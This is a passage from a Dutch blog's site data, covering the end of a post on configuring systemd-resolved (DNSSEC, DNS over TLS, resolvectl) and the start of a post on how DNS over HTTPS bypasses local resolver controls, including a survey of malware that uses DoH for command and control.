ziet er identiek uit aan de instelling die gewoon uitstaat.\nHeb je het wel nodig, herbouw dan het pakket, nooit make install:\n# Fedora dnf download --source systemd rpmbuild --rebuild --define \u0026#39;_with_upstream 1\u0026#39; systemd-*.src.rpm # Debian and Ubuntu apt source systemd cd systemd-*/ \u0026amp;\u0026amp; editor debian/rules # change the -Ddefault-* flags dpkg-buildpackage -us -uc -b Ik heb geen van beide op deze machine gedraaid, dus behandel ze als de vorm van het werk, niet als een getest recept. Het principe is wat telt. systemd is PID 1, en een met de hand gebouwde make install over de kopie van je distributie heen haalt het uit de pakketbeheerder: geen beveiligingsupdates meer, en de volgende upgrade vecht met je om de bestanden. Het pakket bouwen houdt allebei. Voor bijna iedereen is het eerlijke antwoord dat een drop-in van vier regels hetzelfde werk in twintig seconden doet, en daarom staat deze sectie er vooral om je het uit het hoofd te praten.\nDrie configuraties die het waard zijn Geen menukaart met elke optie. Drie posities, die ik elk werkelijk zou verdedigen.\nLaptop, vijandige netwerken Server, je eigen netwerk Strikt Waartegen je je verdedigt Het café en het hotelportaal Niets lokaals; de upstream valideert al Een resolverpad dat je niet vertrouwt DNSSEC= allow-downgrade no yes DNSOverTLS= opportunistic no yes StaleRetentionSec= 1d 1d niet gezet Overleeft een captive portal Ja n.v.t. Nee Overleeft een gefilterde .arpa Ja Ja Nee Overleeft een geblokkeerde poort 853 Ja n.v.t. Nee Een aanvaller kan het downgraden Ja, beide instellingen n.v.t. Nee Een laptop op netwerken die je niet beheert. Versleutel het transport, en neem het downgraderisico in ruil voor een ding dat achter een captive portal blijft werken.\n# /etc/systemd/resolved.conf.d/60-local.conf [Resolve] DNS=9.9.9.9#dns.quad9.net 149.112.112.112#dns.quad9.net DNSOverTLS=opportunistic DNSSEC=allow-downgrade Cache=yes StaleRetentionSec=1d Een server op een netwerk dat je wel draait, met een validerende upstream. Het is al een hop verderop gebeurd. Doe het niet twee keer, en neem geen afhankelijkheid van een publieke resolver.\n[Resolve] DNSSEC=no DNSOverTLS=no Cache=yes CacheFromLocalhost=no StaleRetentionSec=1d Een machine waar je het echte werk wilt. Strikt op beide punten, niets voor een aanvaller om te downgraden, en je hebt gecontroleerd dat de upstream het kan dragen.\n[Resolve] DNS=9.9.9.9#dns.quad9.net 149.112.112.112#dns.quad9.net DNSOverTLS=yes DNSSEC=yes Cache=yes Die derde breekt reverse DNS als iets in je pad .arpa filtert, hij breekt volledig als poort 853 geblokkeerd is, en hij faalt dicht in plaats van stilletjes. Dat zijn de voorwaarden. Ken ze voordat je hem uitrolt, niet erna, want een bak die niks kan resolven is een lange rit als hij niet in de kamer hiernaast staat.\nWat je ook kiest, pas het toe en kijk dan wat de daemon werkelijk besloten heeft in plaats van wat jij schreef:\nsystemd-analyze cat-config systemd/resolved.conf # every file, in order systemctl restart systemd-resolved resolvectl status # the state it is really in resolvectl status is hier het orakel, op dezelfde manier waarop de build het orakel is voor een Hugo-site. Een instelling in een bestand is een intentie. Wat status afdrukt is wat er gebeurt.\nDe rest van de werkwoorden is het waard te kennen, want samen beantwoorden ze bijna elke vraag die je over deze daemon zult hebben zonder dat je een log hoeft te lezen:\nCommando Wat het je vertelt resolvectl status Servers, domeinen en protocollen per link, en de live DNSSEC- en DoT-staat resolvectl query NAAM Het antwoord, het gebruikte protocol, het DNSSEC-oordeel, en of het uit de cache kwam resolvectl statistics Cachehits tegen missers, en de lopende telling secure/insecure/bogus resolvectl show-cache Alles wat nu in de cache zit, per scope resolvectl flush-caches De cache legen zonder de daemon te herstarten resolvectl dns LINK ... Servers op één link zetten tijdens het draaien, zonder configuratiebestand resolvectl dnssec LINK yes Validatie aanzetten voor één link, om te testen voor je het vastlegt resolvectl domain LINK ~x Routerings- en zoekdomeinen op één link zetten resolvectl revert LINK Elke wijziging tijdens het draaien op die link weggooien resolvectl show-server-state Feature-aftasting per server: wat elke upstream bleek te ondersteunen resolvectl monitor Queries en antwoorden live meekijken, wat beter is dan gokken Alles in dat middenblok is alleen tijdens het draaien en overleeft niet dat een link opnieuw opkomt, wat het de juiste manier maakt om een instelling te proberen voordat je hem in een drop-in schrijft. Het betekent ook dat nmcli device reapply stilletjes je testwerk ongedaan maakt, dus controleer status erna, niet ervoor.\nDe standaardwaarden zijn een standpunt, geen ongeluk Drie functies in de doos. Eén aangezet.\nVerleidelijk om dat als luiheid te lezen. Dat is het niet. Over elk van die standaardwaarden is geruzied door mensen die de bugwachtrij aan de andere kant van de beslissing zagen, en Fedora schreef tenminste eerlijk op dat het de ondersteuningslast niet aankon. Dat is een echte beperking en ik zal niet doen alsof dat niet zo is.\nMaar een standaardwaarde is een standpunt, en dit standpunt zegt dat een lookup die niemand kan verifiëren een aanvaardbaar ding is om op te bouwen. We hebben de standaard sinds 2005. De registries publiceren de records gratis, de resolver op je machine implementeert het hele ding, en de reden dat hij stilstaat is dat te veel van het internet nooit iets heeft ondertekend, dus hem aanzetten maakt jouw machine degene die er kapot uitziet. Dat is de vorm van elke standaard die niemand afdwingt. Het netjes doen is een kostenpost die je in je eentje draagt, en het voordeel komt pas opdagen als genoeg anderen hem ook hebben gedragen.\nEn daarom is de telling het deel hiervan waar ik werkelijk iets mee zou doen. Niet de instellingen. De instellingen zijn twintig minuten. De telling zegt dat de organisaties die de richtlijnen publiceren, de resolver leveren en de broncode van de wereld hosten hun eigen zones grotendeels niet hebben ondertekend, en dat gov.uk de apex ondertekende en toen de ene website waar niemand omheen kan op een niet-ondertekende delegatie richtte. Iemand deed het moeilijke deel en keek toen nooit de naam na die mensen typen.\nJe kunt alleen je eigen boeltje opknappen. Draai je een zone, onderteken hem, dien de DS in, en ga dan de www-naam opzoeken zoals een bezoeker dat zou doen en bevestig dat de keten tot het eind overleeft. Het is een middag. Doe dat en het argument voor validatie houdt op theoretisch te zijn voor iedereen die jouw naam opzoekt, en dat is het enige deel hiervan dat wij werkelijk kunnen repareren.\nsystemd-resolved.service(8) — “implements a caching and validating DNS/DNSSEC stub resolver”; de vier clientinterfaces, de twee stub-listeners, synthetische records, de routeringsregels en de vier modi van /etc/resolv.conf.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nresolved.conf(5), zoals geleverd in systemd 259.9 op Fedora 44 — DNSSEC=, DNSOverTLS=, Cache=, CacheFromLocalhost=, StaleRetentionSec= en de beschrijving van de proxystub op 127.0.0.54.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nresolved.conf(5) — DNSCacheSize=, MulticastDNSCacheSize= en LLMNRCacheSize=, “Each defaults to 4096”, toegevoegd in systemd 261.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 5737 — “IPv4 Address Blocks Reserved for Documentation”: 192.0.2.0/24, 198.51.100.0/24 en 203.0.113.0/24.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3849 — 2001:DB8::/32 gereserveerd voor documentatie, “to reduce the likelihood of conflict and confusion when relating documented examples to deployed systems”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nresolved.conf(5), upstream latest — DNSSEC= “Defaults to allow-downgrade”, DNSOverTLS= “Defaults to no”, de nummeringsconventie voor drop-ins, en de volledige lijst met directieven zonder optie voor DNS over HTTPS.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nFedora systemd.spec, rawhide — de meson-buildvlaggen -Ddefault-dnssec=no, -Ddefault-dns-over-tls=no, -Ddefault-mdns=no, -Ddefault-llmnr=resolve.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDebian systemd packaging, debian/rules — -Ddefault-dnssec=no, -Ddefault-llmnr=no, -Ddefault-mdns=no, -Ddns-over-tls=openssl. De systemd van Ubuntu is van deze packaging afgeleid.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nFedora Change: systemd-resolved — Fedora 33 maakte het de standaardresolver; verandert de standaard “from the upstream default DNSSEC=allow-downgrade to DNSSEC=no” omdat de functie “is known to cause compatibility problems with certain network access points” en Fedora “is not prepared to handle an influx of DNSSEC-related bug reports”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nFedora Magazine — Use DNS over TLS — de aanbevolen configuratie DNSOverTLS=yes, gegeven met kale IP-adressen en zonder de SNI-vorm #hostname.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nsystemd issue #8639 — “Add support for DNS-over-HTTPS to systemd-resolved”, geopend op 2 april 2018, nog steeds open.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDebian 12 release notes, 5.2.3 — “The new systemd-resolved package will not be installed automatically on upgrades”; “until it has been installed, DNS resolution might no longer work”; “systemd-resolved was not, and still is not, the default DNS resolver in Debian.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDebian systemd packaging, debian/control — de stanza systemd-resolved: Provides: resolvconf, Conflicts: resolvconf, openresolv, Replaces: resolvconf, en libnss-resolve alleen vermeld onder Suggests:.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nresolvconf(1), de resolvectl-compatibiliteitsmodus — resolvectl “is a multi-call binary. When invoked as \u0026lsquo;resolvconf\u0026rsquo; \u0026hellip; it is run in a limited resolvconf(8) compatibility mode”; systemd-resolved “is the only supported backend”; welke opties worden ondersteund, genegeerd of geweigerd; en de regel dat /etc/resolv.conf alleen wordt geschreven als het een symlink naar /run/systemd/resolve/resolv.conf is.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDebian isc-dhcp-client file list — levert /etc/dhcp/dhclient-enter-hooks.d/resolved-enter en /etc/dhcp/dhclient-exit-hooks.d/resolved.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRHEL 9.4 release notes, Technology Previews — “Note that systemd-resolved is an unsupported Technology Preview.” Ongewijzigd meegedragen van RHEL 9.0 tot en met 9.8.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nsystemd meson_options.txt — de scheiding tussen opties voor mogelijkheden (resolve, nss-resolve, dns-over-tls, openssl) en opties voor standaardwaarden (default-dnssec, default-dns-over-tls, default-mdns, default-llmnr), en de meegecompileerde fallbacklijst dns-servers.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/nl/dns/resolved-the-resolver-you-are-already-running/","summary":"systemd-resolved draait op dit moment op de meeste Linux-desktops, cachet elke lookup en valideert er geen. Dit loopt het resolutiepad af van nss-resolve tot de twee stub-listeners, meet wat de cache op een echte machine waard is, zet DNSSEC aan en laat de drie oordelen zien die hij kan teruggeven, en legt uit waarom validatie standaard uitstaat terwijl upstream hem aan levert. Daarna een telling van hoe weinig van het web werkelijk ondertekend is, DNS over TLS en de val van strikt tegenover opportunistisch, en de ondersteuning voor DNS over HTTPS die sinds 2018 wordt gevraagd en er nog steeds niet is. Eindigt met wat Fedora, Ubuntu, Debian en de RHEL-familie elk leveren, hoe je het in elk daarvan inhaakt, en waarom de functies die je distro uitzette standaardwaarden zijn en geen ontbrekende code.","title":"Resolved: de resolver die je al draait"},{"content":"Er is een manier waarop alles op je netwerk een naam kan opzoeken zonder dat je DNS-server de vraag ooit hoort. Geen instelling gewijzigd op de machine, geen beheerdersrechten, niets dat je in een log zou vinden. De opzoeking vertrekt als een gewoon HTTPS-verzoek op poort 443, gaat naar een resolver ergens op het internet, en komt terug met een antwoord dat je eigen resolver geweigerd zou hebben.\nDe blokkeerlijst gaat nooit af. Het dreigingsoverzicht krijgt het verzoek nooit. De logregel waar je naar op zoek zou zijn gegaan, is nooit geschreven.\nHet heet DNS over HTTPS, kortweg DoH, en het is met een goede reden gebouwd. Gewone DNS reist in leesbare tekst over poort 53, dus het koffiehuis, de luchthaven en je internetprovider kunnen elke naam lezen die je opzoekt en de antwoorden veranderen als ze daar zin in hebben. DoH wikkelt de opzoeking in dezelfde versleuteling als de rest van het web en verstopt hem in de menigte. Als privacymaatregel voor iemand op een vijandig netwerk doet het precies wat het zegt.\nHet probleem is dat wat het verslaat en wat jij nodig hebt, hetzelfde ding zijn.\nJe resolver is niet zomaar een opzoekdienst. Het is een controlepunt: waar een bekend-slecht domein met niets beantwoord wordt, waar een verzoek aan een commandoserver in een log opduikt, waar Protective DNS het malwaredomein weigert voordat de verbinding tot stand komt. DoH haalt de opzoeking van je resolver af en geeft hem aan een resolver die jij nooit koos, en elke controle die je aan die resolver had gehangen, gaat mee.\nGewone DNS gaat via je resolver. DoH gaat eromheen. Dezelfde laptop, dezelfde vraag. Eén antwoord passeert je controles, één ontmoet ze nooit. Gewone DNS, poort 53 DNS over HTTPS, poort 443 Laptop vraagt om een naam Je resolver blokkeerlijst en dreigingsoverzicht gecontroleerd verzoek gelogd op de client slechte naam beantwoord met NXDOMAIN Het internet alleen als het erdoor kwam Laptop vraagt om een naam Je resolver nooit gevraagd niets te blokkeren niets te loggen HTTPS naar een resolver naar eigen keuze Andermans resolver beantwoordt alles De firewall ziet één versleutelde webverbinding meer. Hij heeft er duizenden per minuut, en op de draad ziet deze eruit als de rest. Dezelfde laptop stelt dezelfde vraag. Links gaat hij via je resolver, die de naam controleert, hem logt en pas daarna het internet bevraagt. Rechts gaat hij regelrecht over HTTPS naar een resolver die de client kiest. Je resolver hoort hem nooit, dus er is niets te blokkeren en niets te loggen, en aan de grens is het één versleutelde webverbinding meer tussen duizenden. Dit is geen betoog tegen het versleutelen van DNS. Versleutelde DNS is juist, en het laatste deel van deze post is hoe je het draait. Het is een betoog over wie de resolver mag kiezen, want die keuze is het hele spel, en DoH is ontworpen om hem van jou af te nemen en aan de browser te geven, aan de app en, als je niet oplet, aan de aanvaller.\nWat DoH Eigenlijk Is Haal het merk eraf en DoH is een gewoon webverzoek dat toevallig een DNS-vraag draagt.\nGewone DNS is een klein binair bericht dat over UDP of TCP naar poort 53 wordt gestuurd. DoH stopt datzelfde bericht, of een JSON-versie ervan, in een HTTPS-verzoek aan een webserver die het protocol spreekt; het antwoord is een HTTPS-respons1. Dat is het hele idee.\nRFC 8484 standaardiseerde het in oktober 2018, en de bedoeling is nooit verborgen geweest. Het doel, zegt de eigen inleiding, is “allowing web applications to access DNS information via existing browser APIs”1.\nBestaande browser-API\u0026rsquo;s. Een webpagina. Niemand vond dat jaren later als een lastig neveneffect. Het staat in de eerste alinea van de standaard, opgeschreven als het doel.\nHier is een opzoeking op de DoH-manier, vanaf een opdrachtregel, tegen een publieke resolver, die om example.com vraagt:\n$ curl -s -H \u0026#39;accept: application/dns-json\u0026#39; \\ \u0026#39;https://cloudflare-dns.com/dns-query?name=example.com\u0026amp;type=A\u0026#39; {\u0026#34;Status\u0026#34;:0,\u0026#34;TC\u0026#34;:false,\u0026#34;RD\u0026#34;:true,\u0026#34;RA\u0026#34;:true,\u0026#34;AD\u0026#34;:true,\u0026#34;CD\u0026#34;:false, \u0026#34;Question\u0026#34;:[{\u0026#34;name\u0026#34;:\u0026#34;example.com\u0026#34;,\u0026#34;type\u0026#34;:1}], \u0026#34;Answer\u0026#34;:[{\u0026#34;name\u0026#34;:\u0026#34;example.com\u0026#34;,\u0026#34;type\u0026#34;:1,\u0026#34;TTL\u0026#34;:146, \u0026#34;data\u0026#34;:\u0026#34;23.192.228.80\u0026#34;}]} Geen speciale client. Geen poort behalve 443. Eén HTTPS-verzoek, dezelfde vorm als het ophalen van een webpagina, en een naam die opgelost wordt door een machine aan de andere kant van de wereld die nog nooit van je netwerk of je regels gehoord heeft. Google draait hetzelfde eindpunt, Quad9 ook, en tientallen anderen.\nKijk nu naar wat je firewall ziet. Een TLS-verbinding met een webserver op 443, die hij niet vanbinnen kan lezen omdat dat het punt van TLS is, en niet kan onderscheiden van de honderden andere die elke seconde opengaan naar content delivery networks en analytics en advertenties. De DNS-vraag is weg. Hij verliet het gebouw verkleed als webverkeer en niemand aan de deur kon zijn gezicht zien.\nOp de draad is een DoH-opzoeking een DNS-vraag verzegeld in een webverzoek. Dezelfde vraag. De ene staat op de envelop, de andere zit drie lagen diep verzegeld. Gewone DNS, poort 53 DoH, poort 443 DNS-vraag name=badsite.example type=A De firewall leest dit volledig. Hij ziet de naam, controleert hem, blokkeert of logt hem. TLS-record (alles wat de firewall ziet) HTTP-verzoek aan een webserver DNS-vraag (verzegeld) name=badsite.example type=A Op poort 443 ziet de firewall alleen de buitenste laag. Een TLS-verbinding met een webserver, net als een pagina-ophaling, een advertentie of een analytics-baken. De naam komt nooit boven. Een gewone DNS-vraag staat op de envelop: de firewall leest de naam en handelt ernaar. Een DoH-vraag is dezelfde vraag verzegeld in een HTTP-verzoek in een TLS-record, en het enige dat de firewall ziet is de buitenste laag, een verbinding met een webserver op 443 die er net zo uitziet als elke andere. De naam komt nooit boven waar een controle hem kan bereiken. Er zijn drie manieren waarop een client een DNS-opzoeking kan verplaatsen, en het loont om ze naast elkaar te leggen, want het verschil is de hele post.\nTransport Poort Je resolver ziet het Te weigeren aan de grens Versleuteld Gewone DNS 53 (UDP/TCP) Ja, als je het erdoorheen dwingt Ja, sluit 53 uitgaand Nee DNS over TLS (DoT) 853 Alleen als het naar de jouwe wijst Ja, sluit 853 uitgaand Ja DNS over HTTPS (DoH) 443 Alleen als het naar de jouwe wijst Nee, je kunt 443 niet sluiten Ja Gewone DNS is leesbaar en blokkeerbaar, en dat is precies waarom hij makkelijk te besturen en makkelijk te bespioneren was. DoT versleutelt de opzoeking maar houdt zijn eigen poort, dus je kunt hem nog aan de grens weigeren. DoH is degene zonder handvat: versleuteld zoals DoT, maar hij deelt de ene poort die je nooit kunt sluiten, dus de enige hendel die overblijft is welke resolver de client koos, en dat is de hendel waar deze post over gaat.\nWie De Resolver Mag Kiezen De reden dat dit ertoe doet, is dat een moderne machine vijf verschillende dingen heeft die elk kunnen beslissen waar DNS heen gaat, en jij bestuurt er standaard precies één van.\nVijf dingen op één machine kunnen een resolver kiezen. Jij stelt er één in. Wie beslist waar de opzoeking heen gaat Laag Wie de resolver kiest Standaard van jou? Besturingssysteem Je netwerk, via DHCP of router advertisements Ja Browser De standaard van de leverancier, tenzij je beleid dit overschrijft Alleen als jij het beleid instelt Applicatie of zijn bibliotheek Wie de code schreef, bij het bouwen Nee Script op een webpagina Wie de site draait, of elk script dat die laadt Nee Malware De operator, hardgecodeerd, vaak per adres in plaats van naam Nee Geen van de onderste drie vergt beheerdersrechten, een gewijzigde instelling, of iets dat je in het OS zou zien. Vijf lagen op één machine, elk in staat zijn eigen resolver te kiezen. Het besturingssysteem gebruikt degene die je netwerk uitdeelt, en die is van jou. De browser gebruikt de standaard van zijn leverancier tenzij je beleid iets anders zegt. Een applicatie, een script op een webpagina en malware kiezen elk voor zichzelf en hebben niets van jou nodig om dat te doen. Het besturingssysteem vraagt de resolver die je netwerk uitdeelde via DHCP of router advertisements. Die is van jou, en het is het model dat alles ouder dan ongeveer 2019 aannam: één resolver, uitgedeeld door het netwerk, en dat is waarom DNS-controles op netwerkniveau dertig jaar lang werkten.\nDe browser brak dat. Firefox en Chrome leveren allebei de machinerie om hun eigen DoH te doen, naar een resolver die hun leverancier koos, over je hoofd heen, en ze trekken zich alleen terug wanneer ze een beheerd netwerk opmerken. En een applicatie kan zijn eigen DoH-client en een hardgecodeerde resolver in zijn code meedragen, bepaald bij het bouwen; hij leest je DHCP niet en vraagt niets. Genoeg legitieme software doet dit al.\nEen script op een webpagina is degene die je zou moeten stoppen, want er hoeft helemaal niets geïnstalleerd te worden. Die curl-opdracht hierboven is één HTTPS-verzoek, en een browser maakt de hele dag HTTPS-verzoeken. Een paar regels JavaScript op elke pagina die een gebruiker opent, kunnen opzoekingen naar een publiek DoH-eindpunt sturen, want de grote aanbieders staan cross-origin-verzoeken bewust toe zodat webapps ze kunnen gebruiken, het verklaarde doel in RFC 8484. De pagina die je nu leest, zou op dit moment namen kunnen oplossen via een resolver in een ander land en jij zou één HTTPS-verbinding meer zien.\nEn malware kiest zijn eigen resolver om de voor de hand liggende reden: het wil niet dat je ziet waar het naartoe belt. Het draagt de resolver in zijn code mee, vaak bereikt via een adres zodat er geen aanvangsopzoeking te vangen is, en heeft van niets van dit alles jouw toestemming nodig.\nLees die kolom nog eens. De onderste drie hebben geen beheerdersrechten nodig, geen gewijzigde instelling, en niets dat in het besturingssysteem zichtbaar wordt. De controle die je jarenlang bouwde, één resolver, één blokkeerlijst, één log, nam aan dat de bovenste rij de enige rij was. Dat is ze al jaren niet meer.\nDezelfde Truc Waar De Browserleveranciers Bang Voor Waren Het geval van de webpagina is niet theoretisch en niet nieuw. Het is hoe protocol helpers misbruikt worden: een webpagina zendt bytes, iets stroomafwaarts handelt ernaar, en het kan niet zien dat ze van de pagina van een aanvaller kwamen in plaats van van een echte client, want op de draad zijn ze identiek. Bij DoH is het stroomafwaartse stuk een publieke resolver, die antwoordt zonder enige manier om te weten dat het vragende JavaScript van een phishingpagina kwam, en je resolver, degene met de blokkeerlijst en het log, was nooit in het pad om er iets van te vinden. Geen gat door je controles geslagen, maar een weg eromheen gebouwd, geplaveid met dezelfde versleuteling die je iedereen aanraadt te gebruiken.\nHet Is Al Het Kanaal Van De Malwaremaker Je hoeft je niet voor te stellen hoe dit gebruikt wordt. Het is al jaren gedocumenteerd, door met naam genoemde onderzoekers, op echte samples, en de richting is er maar één: van een criminele bot in 2019 naar een staatsinlichtingenmiddel het jaar daarop, en elk jaar drukker sindsdien, met verse backdoors die in 2026 nog steeds opduiken.\nSample Gemeld Actor Wat DoH droeg Godlua 1 juli 20192 Crimineel botnet De opzoeking van de naam van zijn commandoserver PsiXBot 6 september 20193 Crimineel (infostealer) Oplossen van commando-en-controledomein, via Googles DoH OilRig (APT34) Q2 20204 Iraans staatsgebonden Gestolen data, weggesluisd over DoH naar Google en Cloudflare ChamelDoH 16 juni 20235 ChamelGang (APT) Zijn hele commandokanaal, DNS TXT over DoH naar Google en Cloudflare BRICKSTORM 4 december 20256 China-gebonden backdoor C2 begraven onder HTTPS en geneste TLS, DoH een van de lagen Dohdoor 26 februari 20267 Onbepaald (UAT-10027) C2-opzoekingen gestuurd naar Cloudflares DoH op 443 Godlua, het eerste breed gemelde geval, was een Linux- en Windows-backdoor waarvan de analyse vastlegt dat het “uses DNS over HTTPS to get the C2 name to ensure secure communication between the bots, the Web Server and the C2”2. Op een netwerk dat poort 53 in de gaten houdt, is het oplossen van je commandoserver een cadeau aan de verdediger. Over DoH is er nowt te zien.\nDe uitspraak van Proofpoint over PsiXBot is het citeren waard, een dreigingsinlichtingenleverancier die het stille deel hardop zegt. Het gebruik van DoH voor commando en controle, schreven ze, “should be a warning shot for the cybersecurity community as there are no simple solutions to help identify an infected host or the process of receiving instructions”3. Geen simpele oplossingen, van de mensen wier werk het is ze te vinden.\nToen tilde OilRig het een niveau hoger. De beschrijving van Kaspersky is precies de verandering waar deze post over gaat: “instead of plain text requests to port 53, they would use port 443 in encrypted packets”, met een hulpmiddel dat “allows DoH queries to Google and Cloudflare services”4. Een nationale inlichtingenoperatie die de publieke DoH-aanbieders als pijplijn gebruikt om gestolen data naar buiten te dragen langs wat de DNS ook maar in de gaten hield.\nEn het bleef daar niet bij. Het verspreidde zich. Tegen 2023 had ChamelGang een C++-Linux-backdoor, ChamelDoH, die zijn hele commandokanaal over DoH draaide en DNS TXT-verzoeken naar zijn eigen naamservers stuurde via Google en Cloudflare; de onderzoeker die het vond merkte op dat zowel detectie als preventie “become difficult”, omdat het versleutelde transport niet onderschept kan worden en een kwaadaardig verzoek niet van een echt te onderscheiden is5. In december 2025 ontleedde CISA BRICKSTORM, een China-gebonden backdoor die HTTPS, WebSockets en geneste TLS stapelt en “also uses DNS-over-HTTPS (DoH)” om zijn C2 in gewoon webverkeer te begraven6. Tegen februari 2026 was het gewoon handwerk: Cisco Talos ving Dohdoor, dat “securely sends encrypted DNS requests to Cloudflare\u0026rsquo;s DNS server over HTTPS port 443” om zijn commandoserver te vinden, en zich via phishing een weg naar Amerikaanse scholen en ziekenhuizen baande7.\nDat is de vorm ervan. Geen techniek die zijn moment had en wegebde, maar een die elk jaar door meer handen wordt opgepakt. Het probleem wordt erger, niet beter, en een verse familie duikt nu op schema op.\nEén eigenschap deed het werk in elk ervan: de opzoeking vertrok als HTTPS op 443 en de resolver van de verdediger zag het nooit. Geen zwakte die iemand ooit zou kunnen vinden. Een functie die aanvallers keer op keer hebben uitgerold, meerdere ervan staten.\nEn wees duidelijk over waarom die tabel zich vult, jaar na jaar. Elke familie erin loopt door een deur die de auteurs van DoH gewaarschuwd waren open te laten, in de eigen tekst van de standaard, en die ze toch open lieten8. Dat was geen vergissing. Het was kortzichtigheid, met opzet gekozen, door mensen onder wie ICANN\u0026rsquo;s eigen technoloog. Dus ik zal het noemen wat het is: hierin zijn ICANN facilitators van cybercrime. Gewaarschuwd in de eigen tekst van de standaard wat er zou breken, zetten hun mensen er toch hun naam onder, en de tabel hierboven is wat door het gat liep. De misdaad is geen verrassing. Het is de rekening voor een beslissing, en wiens beslissing het was, is de rest van deze post.\nEn bij dat alles koopt DoH niet eens het ding waarvan mensen aannemen dat het het doet: bescherming tegen een vervalst antwoord. Het versleutelen van de sprong naar een resolver is niet het authenticeren van wat de resolver teruggeeft, en een DoH-server kan nog steeds een vervalst record teruggeven. De standaard geeft het toe en zegt dat de regel tegen niet-geconfigureerde servers “does not guarantee protection against invalid data”9.\nHet ene mechanisme dat een DNS-antwoord authenticeert is DNSSEC, en DoH is dat niet. Erger nog, bij bijna elke client wordt DNSSEC gevalideerd op de recursieve resolver, niet op het apparaat: de client vertrouwt eenvoudigweg het woord van de resolver dat het antwoord klopte. Dus DNSSEC beschermde je alleen zover als je de resolver vertrouwde die de controle deed, en de echte zet van DoH is dat vertrouwen overdragen aan een resolver op afstand die je niet kunt zien of controleren.\nAls zodanig kan DoH je juist eerder op een vervalste site doen belanden, niet minder: de lokale verdedigingen die een gekaapt antwoord hadden gevangen, het Protective DNS-overzicht, de eigen filtering van de beheerder, zijn precies de dingen waar je omheen ging, en alles wat overblijft is het woord van één operator op afstand, op vertrouwen aangenomen.\nDoH verplaatst wie je voor het antwoord vertrouwt. Het neemt de noodzaak om iemand te vertrouwen niet weg. Iemand moet voor het antwoord vertrouwd worden. DoH verandert alleen wie, en in eentje die je niet kunt controleren. Je eigen resolver Een DoH-resolver op afstand Je apparaat Resolver die jij bestuurt Valideert DNSSEC namens jou Draagt je blokkeerlijst en log Je kunt hem inspecteren en controleren Als hij liegt, is hij van jou en kun je nakijken Je apparaat versleutelde pijp Resolver die jij niet bestuurt Valideert DNSSEC, en jij neemt zijn woord aan Je kunt hem niet zien of controleren Je lokale blokkeerlijst staat buiten het pad Als hij vervalst, vangt niets lokaals het Versleuteling beveiligt de pijp, niet de waarheid van het antwoord. DNSSEC wordt op de resolver gecontroleerd, dus je vertrouwt de resolver hoe dan ook. DoH maakt er alleen eentje van die je niet kunt zien. DoH neemt de noodzaak om een resolver voor het antwoord te vertrouwen niet weg, het verplaatst hem alleen. Je eigen resolver valideert DNSSEC, draagt je blokkeerlijst en kan gecontroleerd worden; een DoH-resolver op afstand valideert namens jou en jij neemt zijn woord aan, over een versleutelde pijp die de sprong beveiligt en niets zegt over of het antwoord waar is. Waar DoH als bescherming tegen verkocht wordt Doet het dat? Meeluisteren op de sprong naar de resolver Ja, de opzoeking is versleuteld Knoeien op die sprong Ja Een vervalst record van de resolver zelf Nee, dat is het werk van DNSSEC, niet van DoH Een kwaadwillende, gedwongen of gecompromitteerde resolver Nee, je vertrouwt hem nu volledig Malware-, tracker- en gerechtelijke blokkering Nee, het gaat eromheen En niets hiervan is een nieuw idee waar DoH per ongeluk over struikelde. Het filteren van kwaadaardige domeinen op de resolver is precies wat OpenDNS al bijna twintig jaar doet, waarbij het phishing en malware blokkeert voor miljoenen gebruikers voordat het antwoord hen ooit bereikt, en dat is het model dat Cisco in 2015 kocht10. Twee decennia beveiliging op resolverniveau die mensen beschermde die nooit iets configureerden, en DoH ondermijnde het hele model in één klap: wijs de app naar zijn eigen resolver, en OpenDNS, of wat je netwerk ook koos, staat niet meer in het pad.\nWaarom Het Oude Antwoord Ophield Te Werken Zolang DNS op poort 53 leefde, was het netwerkantwoord simpel. Dwing elke client om je resolver te gebruiken, en blokkeer uitgaande poort 53 overal elders aan de grens. Een machine die naar een externe DNS-server reikte, werd geweigerd, dus moest hij via de jouwe, dus golden je controles voor alles. Grof, en het werkte.\nDoH doodt dat in één zet door 443 te gebruiken. Je kunt uitgaande 443 niet blokkeren. Het is het web. Dus de poort die je zou sluiten om DNS door je resolver te dwingen, is de ene poort die je nooit kunt sluiten, en de versleuteling die je ISP het spioneren belet, belet jou ook een DoH-opzoeking van een pagina-ophaling te onderscheiden.\nDe twee dingen die je zou gebruiken om de controle terug te winnen, de poort sluiten en het verkeer lezen, zijn allebei bij ontwerp weg. Precies die twee verslaan, in de handen van een vijandig netwerk, is waar DoH voor gebouwd is.\nEn het verkeer lezen is niet de ontsnapping die het lijkt, want er is maar één manier om het te doen: alles openbreken en inspecteren. Om de DNS binnen een 443-verbinding te zien, moet je elke HTTPS-verbinding op het 